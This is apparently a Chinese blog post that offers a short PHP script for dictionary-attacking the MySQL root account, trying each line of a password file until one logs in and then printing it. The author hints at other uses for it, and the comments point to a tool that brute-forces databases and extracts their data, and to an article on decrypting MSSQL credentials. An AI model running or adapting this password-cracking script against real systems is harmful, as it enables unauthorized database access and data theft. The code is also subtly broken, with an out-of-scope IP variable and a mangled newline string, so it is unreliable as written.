<?php
set_time_limit(0); //设置脚本不超时
$ip = "localhost"; //指定IP地址
$user = "root"; //用户名
$passwd = file("password.txt"); //密码字典
for($i=0; $i<count($passwd); $i++){
$pass = str_Replace("rn", "", $passwd[$i]); //剔除多余的回车+换行
connect($user, $pass);
flush();
}
echo "扫描结束!";
function connect($user, $pass) {
if(@mysql_connect($ip, $user, $pass)){
echo "<font color='#0000FF'><b>得到密码:<font color='#FF0000'>".$pass."</font>!!!</b></font>";
exit();
}
else {
echo $pass.'<br>';
}
}
?>
本地测试用,速度快,代码简单,修改方便,然后还有很多别的用法,自己琢磨`(*∩_∩*)′
《 “本地MySQL密码破解的PHP脚本” 》 有 2 条评论
enumdb – 暴力破解 MySQL/MSSQL 并在成功后自动提取数据库敏感信息的工具
https://github.com/m8r0wn/enumdb
MSSQL 密码解密
https://blog.netspi.com/decrypting-mssql-credential-passwords/